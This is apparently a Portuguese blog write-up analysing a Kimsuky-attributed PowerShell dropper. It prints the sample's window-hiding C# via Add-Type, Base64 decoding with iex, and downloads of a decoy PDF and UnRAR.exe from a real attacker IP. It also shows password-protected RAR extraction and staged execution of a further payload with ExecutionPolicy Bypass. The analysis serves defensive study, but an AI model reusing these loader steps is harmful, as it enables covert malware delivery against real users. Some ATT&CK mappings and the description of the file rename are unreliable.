SUMÁRIO: Link para o cabeçalho

  1. Introdução
  2. Análise técnica
       2.1. Injeção de C# com Add-Type
       2.2. Ocultação de processos via ShowWindow
       2.3. Ofuscação Base64 e execução dinâmica
       2.4. PDF de distração e engenharia social
       2.5. Ferramentas Externas para Extração de Payload
       2.6. Execução de Payload em Múltiplas Etapas
       2.7. Execução do Script da Etapa Final
  3. Mapeamento MITRE ATT&CK
  4. Considerações Finais

1. INTRODUÇÃO Link para o cabeçalho

APT refere-se a grupos de Ameaça Persistente Avançada (Advanced Persistent Threat), conhecidos por desenvolverem malwares altamente avançados e furtivos. A amostra analisada aqui está categorizada como APT, Kimsuky, e foi escrita em PowerShell (.ps1), encontrada no Malware Bazaar.  

Objetivo: Aprender técnicas avançadas de evasão e encadeamento (staging).


2. ANÁLISE TÉCNICA Link para o cabeçalho

2.1. Injeção de C# com Add-Type Link para o cabeçalho

$sd = Add-Type @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinHpXN
{
    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    public static void SwMng(int processId, int sw)
    {
        Process process = Process.GetProcessById(processId);
        IntPtr hWnd = process.MainWindowHandle;
        if (hWnd != IntPtr.Zero)
            ShowWindow(hWnd, sw);
    }
}
"@
  • O script usa Add-Type para injetar e compilar código C# inline.
  • A classe WinHpXN é criada para chamar a função ShowWindow da user32.dll.
  • Propósito: Ocultar ou exibir janelas de processos específicos.

Valores de sw:

  • 0 = SW_HIDE → ocultar janela
  • 5 = SW_SHOW → exibir janela (não utilizado aqui)

2.2. Ocultação de processos via ShowWindow Link para o cabeçalho

$fd = Get-Process -Name powershell,WindowsTerminal

foreach ($fz in $fd) {
    [WinHpXN]::SwMng($fz.Id, 0)
}
  • Usa Get-Process para encontrar powershell, WindowsTerminal.
  • Oculta suas interfaces gráficas (GUI): evasão visual e furtividade contra analistas ou sandboxes.

2.3. Ofuscação Base64 e execução dinâmica Link para o cabeçalho

$gvb = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($sd.Replace('@', '')))
iex $gvb
  • Remove o ‘@’ para contornar a correspondência de padrões de antivírus (AV).
  • Decodifica e executa o código ofuscado via Invoke-Expression.
Nota
Este malware veio com ’@’ dentro da ofuscação para evadir a detecção.

2.4. PDF de distração e engenharia social Link para o cabeçalho

Invoke-WebRequest -Uri "http://92[.]119[.]114[.]128/doc.pdf" -OutFile "$env:TEMP\Distribution Document.pdf"
Start-Process -FilePath "Distribution Document.pdf"
  • Faz o download e abre um PDF como isca durante a atividade maliciosa.
  • IP criminoso: 92.119.114.128

2.5. Ferramentas Externas para Extração de Payload Link para o cabeçalho

Invoke-WebRequest -Uri "http://92[.]119[.]114[.]128/Assets/UnRAR.exe"
  • Faz o download do UnRAR.exe para extrair arquivos .rar protegidos por senha.
  • Evita o uso do Expand-Archive nativo para evadir a detecção.

2.6. Execução de Payload em Múltiplas Etapas Link para o cabeçalho

cmd.exe /C "$env:TEMP\UnRAR.exe x -ppoiuytrewq1234 -o+ $env:TEMP\orwartde.rar $env:TEMP"
Start-Process -FilePath orwartde.exe
  • Usa RAR protegido por senha para extrair binários maliciosos.
  • Executa múltiplas etapas (por exemplo, orwartde.exe, enwtsv.exe) para aumentar a persistência.

2.7. Execução de Payload em Múltiplas Etapas Link para o cabeçalho

$t = Invoke-WebRequest ...
$gds = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($t))
Set-Content -Path "$env:TEMP\ov4_dd_pf.txt" -Value $gds
if (Test-Path "$env:TEMP\ov4_dd_pf.ps1") {
    Remove-Item -Path "$env:TEMP\ov4_dd_pf.ps1" -Force
}
cmd.exe /C "powershell -ExecutionPolicy Bypass -File $env:TEMP\ov4_dd_pf.ps1"
  • Faz o download de outra carga-útil(Payload) em PowerShell codificada em base64 e a executa.
  • Usa o renomeio de .txt para .ps1 para evadir antivírus (AV).
  • Executa utilizando ExecutionPolicy Bypass.

3. Mapeamento MITRE ATT&CK Link para o cabeçalho

Defense Evasion Link para o cabeçalho

  • T1027: Obfuscated Files (Base64)  
  • T1027.002: Packed Files (.rar with password)  
  • T1218: Signed Binary Proxy Execution (cmd.exe, Start-Process)  
  • T1036: Masquerading (.ps1 disguised as .txt)  
  • T1548.002: Bypass User Account Control (ExecutionPolicy Bypass)  

Command and Control Link para o cabeçalho

  • T1071.001: Application Layer Protocol (HTTP)  
  • T1105: Ingress Tool Transfer (Downloads: .exe, .rar)  

Discovery Link para o cabeçalho

  • T1057: Process Discovery (Get-Process to find terminals)

4. CONSIDERAÇÕES FINAIS Link para o cabeçalho

Na minha opinião, conseguimos aprender bastante, especialmente técnicas interessantes de APT que podem ser utilizadas no mundo real.

Thx for reading!   — @untw0 : )